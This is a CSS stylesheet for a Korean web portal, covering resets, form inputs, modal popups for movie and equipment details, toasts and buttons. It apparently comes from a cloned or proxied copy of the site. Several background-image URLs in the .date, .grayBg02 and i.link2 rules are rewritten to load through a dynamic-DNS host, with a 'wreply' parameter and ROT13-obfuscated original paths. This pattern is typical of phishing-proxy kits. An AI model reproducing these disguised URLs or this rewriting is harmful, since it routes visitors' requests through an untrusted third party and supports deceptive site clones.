@charset "utf-8";
/* --------------------------------------------------------
Reset
----------------------------------------------------------*/
html, body, div, span, applet, object, iframe,
h1, h2, h3, h4, h5, h6, p, blockquote, pre,
a, abbr, acronym, address, big, cite, code,
del, dfn, em, img, ins, kbd, q, s, samp,
small, strike, strong, sub, sup, tt, var,
b, u, i, center,
dl, dt, dd, ol, ul, li,
fieldset, form, label, legend,
table, caption, tbody, tfoot, thead, tr, th, td,
article, aside, canvas, details, embed,
figure, figcaption, footer, header, hgroup,
menu, nav, output, ruby, section, summary,
time, mark, audio, video {margin:0; padding:0; border:0; font-size:100%; vertical-align:baseline; font-style:normal;}

article, aside, details, figcaption, figure,
footer, header, hgroup, menu, nav, section {display:block;}
body {line-height:1;}
ol, ul {list-style:none;}
blockquote, q {quotes:none;}
blockquote:before, blockquote:after,
q:before, q:after {content:''; content:none;}
table {border-collapse:separate; border-spacing:0;}

legend{overflow:hidden;position:absolute;width:0;height:0;font-size:0;line-height:0;text-indent:-9999px;}
caption{overflow:hidden;position:absolute;width:0;height:0;font-size:0;line-height:0;text-indent:-9999px;}
label{cursor:pointer;}

/* --------------------------------------------------------
GLOBAL class
----------------------------------------------------------*/
.fb_x {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:center;-webkit-justify-content:center; -ms-flex-pack:center;}
.fb_y {display:flex; display:-webkit-flex; display:-ms-flexbox; align-items:center;-webkit-align-items:center; -ms-flex-align:center;}
.fb_xy {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:center;align-items:center; -webkit-justify-content:center; -webkit-align-items:center; -ms-flex-pack:center; -ms-flex-align:center;}
.fb_e {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:flex-start;-webkit-justify-content:flex-start; -ms-flex-pack:start;}
.fb_w {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:flex-end;-webkit-justify-content:flex-end; -ms-flex-pack:end;}
.fb_ey {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:flex-start;align-items:center; -webkit-justify-content:flex-start; -webkit-align-items:center; -ms-flex-pack:start; -ms-flex-align:center;}
.fb_wy {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:flex-end;align-items:center; -webkit-justify-content:flex-end; -webkit-align-items:center; -ms-flex-pack:end; -ms-flex-align:center;}
.fb_ew {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:space-between;-webkit-justify-content:space-between; -ms-flex-pack:justify;}
.fb_ewy {display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:space-between;align-items:center; -webkit-justify-content:space-between; -webkit-align-items:center; -ms-flex-pack:justify; -ms-flex-align:center;}
.fb_dir_x {flex-direction:row;-ms-flex-direction:row;}
.fb_dir_y {flex-direction:column;-ms-flex-direction:column;}
.fi_start {align-self:flex-start;}
.fi_end {align-self:flex-end;}
.fi_xy {align-self:center;}

.animate {transition:all .2s cubic-bezier(.7,0,.3,1);transform:all .2s cubic-bezier(.7,0,.3,1);-webkit-transition:all .2s cubic-bezier(.7,0,.3,1);}
.ellipsis {overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
.required {display:block; color:#f4781f; font-size:16px; vertical-align:middle;}
.ui-tooltip {display:block; position:absolute; z-index:400; padding:0 16px; border-radius:20px; background:rgba(0,0,0,0.6); color:#FFF; font-size:14px; font-size:15px; line-height:26px;}
.filter_blur6 {filter:blur(6px); -webkit-filter:blur(6px);}
.text_left {text-align:left !important;}
.text_right {text-align:right !important;}
.text_center {text-align:center !important;}
.fl {float:left;}
.fr {float:right;}
.clearfix:after {display:block; content:""; clear:both}
.hidden {width:0; height:0; overflow:hidden; opacity:0;}

.pdt0  {padding-top:0 !important;}
.pdb0  {padding-bottom:0 !important;}
.mgt0  {margin-top:0 !important;}
.mgt10  {margin-top:10px !important;}
.mgt30  {margin-top:30px !important;}
.mgb0  {margin-bottom:0 !important;}
.mgb10 {margin-bottom:10px !important;}
.mgb20 {margin-bottom:20px !important;}
.mgb30 {margin-bottom:30px !important;}
.mgb50 {margin-bottom:50px !important;}
.mgb60 {margin-bottom:60px !important;}
.mgb65 {margin-bottom:65px !important;}
.w20p {width:20% !important;}
.w30p {width:30% !important;}
.w35p {width:35% !important;}
.w40p {width:40% !important;}
.w50p {width:50% !important;}
.w60p {width:60% !important;}
.w100p {width:100% !important;}

@media (max-width:990px) {
	.w40p {width:100% !important;}
	.w50p {width:100% !important;}

}


.orange { color:#f4781f !important;}

/* selectList */
.selectBox.active {}
.selectBox.active .selectNum {border-radius:0 0 20px 20px;}
.selectBox.active .selectList {display:block;}
.selectBox.active .selectNum:after {transform:rotate(0deg);}
.selectBox {position:relative;}
.selectBox .selectNum {display:block; position:relative; width:100%; height:36px; border-radius:20px; color:#fff; font-size:16px; text-indent:20px; text-overflow:ellipsis; line-height:36px; white-space:nowrap; overflow:hidden; border:1px solid #eee;}
.selectBox .selectNum:after{content:"";position:absolute;top: 14px;right: 18px;border-bottom: 5px solid #fff;border-left: 5px solid transparent;border-right: 5px solid transparent; transform:rotate(180deg);}
.selectBox .selectNum:focus,
.selectBox .selectNum:hover {color:#fff;}
.selectBox .selectList {display:none; position:absolute; z-index:100; left:0; bottom:36px; width:100%; border-radius:20px 20px 0 0; background:#424242; border:1px solid #eee; border-bottom:0;}
.selectBox .selectList ul {margin: 20px 20px 0 20px; border-bottom:1px solid #999999; box-sizing:border-box; position:relative; z-index:2;}
.selectBox .selectList li {display:block;}
.selectBox .selectList li a {display:block; width:100%; height:35px; overflow:hidden; color:#FFF; font-size:14px; font-size:15px; font-weight:300; text-overflow:ellipsis; line-height:35px; white-space:nowrap;}
.selectBox .selectList li a:hover {}

.selectBox .selectList .selectDim { position:fixed; top:0; left:0; right:0; bottom:0; background:rgba(0,0,0,0); z-index:1;}


/* selection */
::selection {background:#222; color:#FFF; text-shadow:none;}
::-webkit-selection {background:#222; color:#FFF; text-shadow:none;}

/* ------------------------------------------------------------------
FORM Font
------------------------------------------------------------------ */
input, textarea, select, button ,table tr td {font-family: 'Noto Sans KR', sans-serif;}

/* ------------------------------------------------------------------
FORM INPUT
------------------------------------------------------------------ */
input[type=text],
input[type=password] {width:100%; height:40px; padding:0 10px; border:0; border:1px solid #ddd; color:#333; font-size:14px; line-height:36px; box-sizing:border-box; border-radius:4px;}
input[type=password] {}
input[type=text]:focus,
input[type=password]:focus {}
input[type=text]:disabled,
input[type=password]:disabled {background:#f8f8f8; color:rgba(0,0,0,0.6); text-shadow:1px 1px 0px rgba(255,255,255,1);}
label {font-size:0; visibility:hidden;}
input[type=submit] {margin:0; padding:0; border:none; outline:none; background:none; font-size:13px; cursor:pointer; appearance:none; color:#2e2e2e; font-weight:600;}

/* ms-clear */
input::-ms-clear {display:none;}

/* placeholder */
input:-ms-input-placeholder {color:#a9a9a9 !important;}
input::-webkit-input-placeholder {color:#a9a9a9 !important;}

/* radio , checkbox
-------------------------------------*/
.opt input[type=radio]+label:before,
.opt input[type=checkbox]+label:before {display:inline-block; vertical-align:middle;}
.opt input[type=radio], 
.opt input[type=checkbox] {display:none;}
.opt input[type=radio]+label,
.opt input[type=checkbox]+label {display:inline-block; font-size:14px; font-size:15px; vertical-align:middle; cursor:pointer; visibility:visible; position:relative;}
.opt input[type=radio]+label span.text, input[type=checkbox]+label span.text {display:inline-block; vertical-align:middle; margin:0 4px; color:#000; font-size:17px; font-weight:300;}
.opt input[type=radio]+label:before {display:inline-block; width:12px; height:12px; border:3px solid #ffffff; border-radius:50%; box-shadow:0px 0px 0px 2px #a3a3a3; content:''; color:#c7c9d1; vertical-align:middle; box-sizing:border-box; margin-right:4px;}
input[type=checkbox]+label:before {display:inline-block; width:12px; height:12px; border:3px solid #ffffff; border-radius:2px; box-shadow:0px 0px 0px 2px #a3a3a3; content:''; color:#c7c9d1; vertical-align:middle; box-sizing:border-box; margin-right:4px;}
.opt input[type=radio]+label:hover:before, input[type=checkbox]+label:hover:before {color:#427bfd;}
.opt input[type=radio]:disabled+label, input[type=checkbox]:disabled+label {cursor:default;}
.opt input[type=radio]:disabled+label:before, input[type=checkbox]:disabled+label:before {color:#ddd;}
.opt input[type=radio]+label:before {}
.opt input[type=radio]:checked+label:before {background:#000;}
.opt input[type=checkbox]+label:before {}
.opt input[type=checkbox]:checked+label:after {position:absolute; top:2px; left:3px; content:'Γ'; color:#000; font-weight:bold; transform:rotate(225deg);}

@media (max-width:1180px) {
	.opt input[type=radio]+label span.text, input[type=checkbox]+label span.text {font-size:15px;}
}

/* addon
-------------------------------------*/
.inputWrap {display:-webkit-box; display:-ms-flexbox; display:flex;}
.inputWrap .addon {}
.inputWrap .addon span.hding {display:inline-block; color:#6e768f; padding:0 12px; border:1px solid rgba(0,0,0,0.08); line-height:34px; vertical-align:top;}
.inputWrap .addon span.hding label,
.inputWrap .addon span.hding label:before {vertical-align:top;}
.inputWrap input {display:table-cell;}

/* addon function */
.inputWrap input:focus ~ .addon span.hding,
.inputWrap input:focus ~ .addon button {}
.inputWrap input:disabled ~ .addon {background:#f8f8f8;}

/* addon last */
.inputWrap input:first-child {}
.inputWrap .addon:last-child {}
.inputWrap .addon:last-child .hding {border-left:0; border-radius:0;}
.inputWrap .addon span.i:before {font-size:20px; vertical-align:top;}
.inputWrap .addon button {margin:0; padding:0 12px; border:1px solid rgba(0,0,0,0.08); line-height:34px;}

/* label animation
-------------------------------------*/
.inputWrap.label {position:relative;}
.inputWrap.label label {display:block; position:absolute; left:6px; bottom:10px; color:#999; font-size:14px; font-size:15px; text-align:left; transition:0.2s; pointer-events:none;}
.inputWrap.label input {margin-top:20px; border:0px; border-bottom:1px solid #ddd; border-radius:0; background:none;}
.inputWrap.label input:focus {border-bottom:1px solid #427bfd; box-shadow:none;}
.inputWrap.label input:focus ~ label, .inputWrap.label input:valid ~ label {left:8px; bottom:40px; color:#427bfd; font-size:13px;}
.inputWrap.label input:disabled {border-bottom:1px solid #eee;}
.inputWrap.label input:disabled ~ label {color:#ddd;}


/* inputFile
-------------------------------------*/
.inputFile {display:flex; max-width:100%;}
.inputFile input {position:absolute; z-index:-1; width:0px; height:0px; overflow:hidden; opacity:0;}
.inputFile input:focus + label, .inputFile input + label:hover {}
.inputFile input + label {display:inline-block;vertical-align: top;position:relative;width:calc(100% - 100px);padding:0;color:#333;cursor:pointer;visibility:visible;}
.inputFile input + label span {display:inline-block;vertical-align: middle; width:calc(100% - 120px);padding:0 10px;overflow:hidden;text-align:left;text-overflow:ellipsis;white-space:nowrap;}
.inputFile input + label strong {display:inline-block;vertical-align: middle;border: 1px solid #b4b4b4;font-weight: 300;padding: 0 20px;border-radius: 5px;}
.inputFile input + label span,
.inputFile input + label strong {height: 26px;font-size:14px;line-height: 26px; font-size:15px;}

.inputFile ~ .agreement {margin:6px 0 !important;}

.inputFile .button{height: 26px; line-height: 26px; font-size: 15px; border:0; background:#398ede; color:#fff; padding:0 10px;}

/* --------------------------------------------------------
FORM TEXTAREA
----------------------------------------------------------*/
textarea {width:100%; padding:8px; border-radius:4px; border:1px solid #dedede; outline:none; color:#2e2e2e; font-size:14px; font-size:15px; line-height:20px; box-sizing:border-box; resize:none;}
textarea:focus {}
textarea:disabled {background:#f8f8f8; color:rgba(0,0,0,0.3); text-shadow:1px 1px 0px rgba(255,255,255,1);}

/* --------------------------------------------------------
FORM SELECT
----------------------------------------------------------*/
select {width:100%; height:40px; padding:0 0 0 4px; border:1px solid #d9d9d9; box-sizing:border-box; border-radius:5px;}
select:hover {}
select option:hover,
select option[selected] {background:#000; color:#FFF;}
select:disabled {background:#f8f8f8; color:rgba(0,0,0,0.3); text-shadow:1px 1px 0px rgba(255,255,255,1);}

/* --------------------------------------------------------
MODAL
----------------------------------------------------------*/

@keyframes ShowPop {
	0% {opacity:0; transform:translate3d(0, -100px, 0);}
	100% {opacity:1; transform:translate3d(0, 0, 0);}
}

@keyframes HidePop {
	0% {opacity:1; transform:translate3d(0, 0, 0);}
	100% {opacity:0; transform:translate3d(0, -100px, 0);}
}

@keyframes dimShowPop {0% {opacity:0;}
	100% {opacity:1;}
}
@keyframes dimHidePop {0% {opacity:1;}
	100% {opacity:0;}
}

.multiModal.hide {}
.multiModal.hide .modalBox {animation:HidePop 0.3s;}
.multiModal.hide .multiModal:after {animation:dimHidePop 0.3s;}
.multiModal.active {display:flex; display:-webkit-flex; display:-ms-flexbox;}
.multiModal {display:none; position:fixed; z-index:99; top:0px; left:0px; right:0px; bottom:0px; justify-content:center;align-items:center; -webkit-justify-content:center; -webkit-align-items:center; -ms-flex-pack:center; -ms-flex-align:center;}
.multiModal:after {position:fixed; z-index:1; top:0px; left:0px; right:0px; bottom:0px; background:rgba(0,0,0,0.8); content:''; animation:dimShowPop 0.3s;}
.modalBox {position:relative; z-index:2; width:850px; background:#fff; border:1px solid #d5d5d5; box-shadow:0 10px 10px rgba(0, 0, 0, 0.2); max-height:calc(100% - 200px); box-sizing:border-box; animation:ShowPop 0.3s;}
.modalBox.responseHeight {height:100%;}
.modalBox.w480 {width:480px;}
.modalBox.w600 {width:600px;}
.modalBox.w706 {width:706px;}
.modalBox.w900 {width:900px;}
.modalBox .mbHeader { height:36px; line-height:36px; background:#36404b;}
.modalBox .mbHeader h2 {color:#fff; font-size:18px; text-indent:20px;}
.modalBox .mbHeader .tools {}
.modalBox .mbHeader .tools button {font-size:25px; color:#687482; font-family:Arial, Helvetica, sans-serif; vertical-align:top; width:36px; height:36px;}
.modalBox .mbBody {overflow-y:auto; overflow-x:hidden; height:calc(100% - 40px);}
.modalBox .mbBody::-webkit-scrollbar {height:4px; width:4px}
.modalBox .mbBodyt::-webkit-scrollbar-thumb {border:0px solid transparent; background-color:rgba(0,0,0,0.2); background-clip:padding-box;}
.modalBox .mbBody .mbBodyContents {padding:20px;}
.modalBox .mbBody .mbBodyContents .article {color:#5e5e5e; font-size:15px; line-height:20px;}

.modalBox .mbBody .mbBodyContents .article .required {margin-bottom:10px;}
.modalBox .mbBody .mbBodyContents .article .idSearchBox {width:calc(100% - 60px); margin:0 0 20px;}
.modalBox .mbBody .mbBodyContents .article .idSearchBox input {width:calc(100% - 120px); margin-right:4px;}
.modalBox .mbBody .mbBodyContents .article .idSearchBox button {white-space: nowrap;}
.modalBox .mbBody .mbBodyContents .article .initId {}
.modalBox .mbBody .mbBodyContents .article .initId p {color:#000; font-size:16px; font-weight:300;}
.modalBox .mbBody .mbBodyContents .article .initId .btnInit {display:inline-block; margin-left:10px; padding:0 10px; border:1px solid #b4b4b4; border-radius:6px; font-size:15px; line-height:26px; vertical-align:top;}


.modalBox .buttonWrap {padding:6px 0; text-align:right;}

/* moviePoparticle */
.modalBox .mbBody .mbBodyContents .moviePoparticle {color:#5e5e5e; font-size:15px; line-height:20px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox {}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .thumb {display:block; width:216px; height:302px; margin-right:24px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .thumb img {width:216px; height:302px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo {width:calc(100% - 240px);}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .eventTitle {font-size:17px; color:#5e5e5e; margin-bottom:10px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo {margin-bottom:20px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span {border-left:1px solid #d9d9d9; font-size:21px; color:#424242; padding:0 10px}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span em {width:48px; height:20px; display:inline-block; vertical-align:middle; border-radius:10px; background:#333; color:#FFF; font-size:14px; font-size:15px; font-style:normal; font-weight:normal; text-align:center; margin-left:10px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span em.all {background:#5aad00;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span em.rRated {background:#c22e00;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span em.age {background:#0092c2;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .movieDetailinfo {margin:14px 0 36px 0px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .movieDetailinfo span {border-left:1px solid #d9d9d9; font-size:17px; color:#424242; padding:0 10px}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .movieDetailinfo span:first-child {border-left:0; padding-left:0;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .date {font-size:17px; line-height:21px; color:#d44232; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Scntr%2Scntr_vpba_01.cat) no-repeat; padding-left:30px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .grayBox {padding:20px; background:#f4f5f9; margin-top:16px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .grayBox strong {display:block; font-size:19px; line-height:19px; color:#2e2e2e; margin-bottom:10px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .grayBox ul {margin-bottom:10px; font-size:15px; color:#5e5e5e;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .grayBox ul li {list-style:decimal; margin-left:18px;}

.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo .detailinfo span:first-child {border-left:0; padding-left:0;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl {font-size:0; line-height:24px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dt,
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dd {font-size:18px; display:inline-block; vertical-align:middle; margin-bottom:16px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dt {color:#2e2e2e; width:100px;}
.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dd {color:#5e5e5e; width:calc(100% - 100px);}
.modalBox .mbBody .mbBodyContents .moviePoparticle .desc {margin-top:30px; font-size:15px; line-height:25px; color:#424242;}

/* moviePoparticle */
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb .bx-wrapper .bx-pager.bx-default-pager a
{-o-transition:all .16s cubic-bezier(.7,0,.3,1);transition:all .16s cubic-bezier(.7,0,.3,1);-webkit-transform:all .16s cubic-bezier(.7,0,.3,1);-ms-transform:all .16s cubic-bezier(.7,0,.3,1);transform:all .16s cubic-bezier(.7,0,.3,1);-webkit-transition:all .16s cubic-bezier(.7,0,.3,1);}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle {color:#5e5e5e; font-size:15px; line-height:20px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox {}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb {width:320px; min-width:320px; height:320px; margin-right:24px; border:1px solid #efefef; position:relative;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb .bx-wrapper .bx-pager {width:auto; bottom:auto; top:0; right:0; padding:0;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb .bx-wrapper .bx-pager.bx-default-pager a {background:#999;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb .bx-wrapper .bx-pager.bx-default-pager a.active {background:#29304a; width:30px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb ul {}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb ul li {width:320px; min-width:320px; height:320px; display:flex; display:-webkit-flex; display:-ms-flexbox; justify-content:center;align-items:center; -webkit-justify-content:center; -webkit-align-items:center; -ms-flex-pack:center; -ms-flex-align:center;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb ul li img {margin:0 auto;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo {}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo .detailinfo {margin-bottom:20px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo .detailinfo span {font-size:21px; color:#424242;}

.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl {font-size:0; line-height:24px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl dt,
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl dd {font-size:18px; display:inline-block; vertical-align:middle; margin-bottom:16px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl dt {color:#2e2e2e; width:100px;}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl dd {color:#5e5e5e; width:calc(100% - 100px);}
.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo dl ~ button {width:140px;}


@media (max-width:990px) {
	.modalBox { position:fixed; top:20px; left:20px; right:20px; bottom:20px; width:auto !important; max-height:calc(100% - 40px);}
	.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .thumb {display:none;}
	.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo {width:100%;}
	.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dt,
	.modalBox .mbBody .mbBodyContents .moviePoparticle .movieBox .movieInfo dl dd {margin-bottom:6px; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
	/* equipmentPoparticle */
	.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox {display:block;}
	.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .thumb {margin:0 auto;}
	.modalBox .mbBody .mbBodyContents .equipmentPoparticle .equipmentBox .equipmentInfo {width:322px; margin:20px auto 0;}

	.modalBox .mbBody .mbBodyContents .article .idSearchBox {width:100%;}
	.modalBox .mbBody .mbBodyContents .article .initId {display:block;}
	.modalBox .mbBody .mbBodyContents .article .initId .btnInit {margin:20px auto;}


}

/* --------------------------------------------------------
TOAST
----------------------------------------------------------*/

@keyframes ToastShow {0% {opacity:0; transform:translate3d(0, 100px, 0);}
  100% {opacity:1; transform:translate3d(0, 0, 0);}
}
@keyframes ToastHide {0% {opacity:1; transform:translate3d(0, 0, 0);}
 100% {opacity:0; transform:translate3d(-100px, 0, 0);}
}

.toastModal {display:flex; display:-webkit-flex; display:-ms-flexbox; position:fixed; z-index:99; left:0px; right:0px; bottom:0px; justify-content:center;-webkit-justify-content:center; -ms-flex-pack:center;}
.toastModal .toastBox {position:relative; z-index:2; width:500px;}
.toastModal .toastBox.w600 {width:600px;}
.toastModal .toastBox .toast {display:flex; display:-webkit-flex; display:-ms-flexbox; margin:4px; padding:10px 20px; border-radius:4px; background:#333; box-shadow:0 10px 10px rgba(0, 0, 0, 0.2); box-sizing:border-box;animation:ToastShow 0.3s;justify-content:space-between;align-items:center; -webkit-justify-content:space-between; -webkit-align-items:center; -ms-flex-pack:justify; -ms-flex-align:center;}
.toastModal .toastBox .toast.hide {animation:ToastHide 0.3s;}
.toastModal .toastBox .toast .text {color:#FFF;}
.toastModal .toastBox .toast .tools {}
.toastModal .toastBox .toast .tools button {color:#FFF;}


/* --------------------------------------------------------
BUTTON
----------------------------------------------------------*/
button {margin:0; padding:0; border:none; outline:none; background:none; font-size:18px; cursor:pointer; appearance:none; color:#000; font-weight:300;}
.button span {position:relative; z-index:1;}
.button {display:inline-block; vertical-align:middle; position:relative; height:40px; padding:0 20px; overflow:hidden; border:none; background:#fff; color:#2e2e2e; line-height:36px; cursor:pointer; border-radius:6px;}
.button:hover {}
.button:active {}
.button:disabled {border:1px solid rgba(0,0,0,0); background:rgba(0,0,0,0.08) !important; color:rgba(67, 74, 84, 0.3) !important; cursor:default;}
.button:disabled:hover {color:rgba(0,0,0,0.2);}
.button:disabled:hover:after {display:none; content:"";}

/* button color
----------------------------------*/
.button.prime {background:#398ede; color:#fff; font-size:18px; font-weight:500;}
.button.white {background:#FFF; color:#2e2e2e; border:1px solid #cdcdcd;}
.button.whiteGray {background:#FFF; font-size:17px; color:#000; border:1px solid #ddd;}
.button.blue {background:#445180; color:#fff; border:1px solid #445180;}
.button.darkBlue {background:#29304a; color:#fff; border:1px solid #29304a;}

.button.darkLine {background:#FFF; border:1px solid #bbb;}

.button.dark {background:#36404b; color:#FFF;}
.button.darkBox {background:#2e2e2e; color:#FFF; border-radius:0;}
.button.grayBg {background:#696969; color:#fff;}
.button.grayBg02 {color:#fff; background:#696969 url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Scntr%2SqrfpVasbJenc_vpbaj_yvax.cat) no-repeat 90% 45%;}

.button.darkhBule {background:none; border:2px solid #444;}
.button.darkhBule:focus,
.button.darkhBule:hover {background:#29304a; color:#fff; border:2px solid #29304a;}

.button.success {background:#a0d468; color:#FFF;}
.button.info {background:#4fc1e9; color:#FFF;}
.button.warning {background:#fc6e51; color:#FFF;}
.button.danger {background:#ed5565; color:#FFF;}


i.link2 {display:inline-block; vertical-align:middle; width:17px; height:15px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Scntr%2SqrfpVasbJenc_vpba_yvax.cat) no-repeat; margin:0 8px;}


/* button icon */
.button.i:before, .button.ir:before {width:24px;}

/* fullWidth */
.button.fw {width:calc(100% - 0px);}

/* button animated */
.button.animated_x {}
.button.animated_x span {display:inline-block; position:relative; z-index:2; padding:0 12px; transition:0.2s;}
.button.animated_x:hover span {padding:0; transition:0.2s;}
.button.animated_x.i:before, .button.animated_x.ir:before {position:relative; width:0px; opacity:0; transition:0.2s;}
.button.animated_x.i:hover:before, .button.animated_x.ir:hover:before {position:relative; width:24px; opacity:1; transition:0.2s;}
.button.animated_x:disabled:hover:before {width:0; opacity:0;}
.button.animated_x:disabled span {padding:0 12px;}
.button.animated_y {}
.button.animated_y span {display:inline-block; position:relative; z-index:2; width:100%; height:100%; padding:0; transition:0.2s;}
.button.animated_y:hover span {transform:translateY(300%);-webkit-transform:translateY(300%);}
.button.animated_y.i:before, .button.animated_y.ir:before {position:absolute; top:-100%; left:0; width:100%; height:100%; opacity:0; transition:0.2s;}
.button.animated_y.i:hover:before, .button.animated_y.ir:hover:before {position:absolute; top:0; opacity:1;}
.button.animated_y:disabled:hover:before {width:0; opacity:0;}
.button.animated_y:disabled span {transform:translateY(0%);-webkit-transform:translateY(0%);}

/* button mini */
.button.mini {height:26px; line-height:26px; padding:0 10px; font-size:12px; }
.button.mini:before {width:18px; font-size:14px; font-size:15px;}
.button.animated_x.mini span {padding:0 9px;}
.button.animated_x.mini:hover span {padding:0;}
.button.animated_x.mini:hover:before {width:18px;}
.button.animated_x.mini:disabled span {padding:0 9px;}
.button.animated_x.mini:disabled:hover:before {width:0px;}

/* button big */
.button.big {height:48px; padding:0 24px; font-size:18px; line-height:48px; margin-bottom: 10px; }
.button.big:before {width:38px; font-size:28px;}
.button.animated_x.big span {padding:0 18px;}
.button.animated_x.big:hover span {padding:0;}
.button.animated_x.big:hover:before {width:36px;}
.button.animated_x.big:disabled span {padding:0 18px;}
.button.animated_x.big:disabled:hover:before {width:0px;}
a.big { width:240px;}

/* button 3d(solid) */
.button.mini.solid {box-shadow:inset 0 -2px 0 rgba(0,0,0,.2), 0 2px 2px rgba(0,0,0,.03);}
.button.mini.solid:active {box-shadow:inset 0 0 0 rgba(0,0,0,.2), 0 0 0 rgba(0,0,0,.03); margin-top:2px; height:24px; line-height:24px;}
.button.solid {box-shadow:inset 0 -2px 0 rgba(0,0,0,.2), 0 2px 2px rgba(0,0,0,.03);}
.button.solid:active {box-shadow:inset 0 0 0 rgba(0,0,0,.2), 0 0 0 rgba(0,0,0,.03); margin-top:2px; height:34px; line-height:34px;}
.button.big.solid {box-shadow:inset 0 -4px 0 rgba(0,0,0,.2), 0 4px 4px rgba(0,0,0,.03);}
.button.big.solid:active {box-shadow:inset 0 0 0 rgba(0,0,0,.2), 0 0 0 rgba(0,0,0,.03); margin-top:4px; height:44px; line-height:44px;}

/* buttonGroup */
.buttonGroup {font-size:0;}
.buttonGroup button {margin:0; border-radius:0;}
.buttonGroup button:first-child {border-bottom-left-radius:4px; border-top-left-radius:4px;}
.buttonGroup button:last-child {border-top-right-radius:4px; border-bottom-right-radius:4px;}

/* button progress */
.button .progress {position:absolute; z-index:1; top:0px; left:0px; bottom:0px; background:rgba(0,0,0,0.14); pointer-events:none;}

/* button circle */
button.circle {display:inline-block; vertical-align:middle; width:30px; height:30px; overflow:hidden; border-radius:50%; color:transparent; padding:0; font-size:20px;}
/*
button.circle:hover {background-position:center center !important;}
button.circle:active {background-position:center bottom !important;}
button.circle:disabled {opacity:0.5; cursor:default;}
button.circle:disabled:hover {background-position:center top !important;}
*/
/* button - circle - mapping
button.circle.btn_l_setting {width:44px; height:44px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Syrneavat.fhjba.tb.xe%2Snffrgf%2Spff%2S..%2Svzt%2Soga%2Soga_y_frggvat.cat) no-repeat;}
*/

/* --------------------------------------------------------
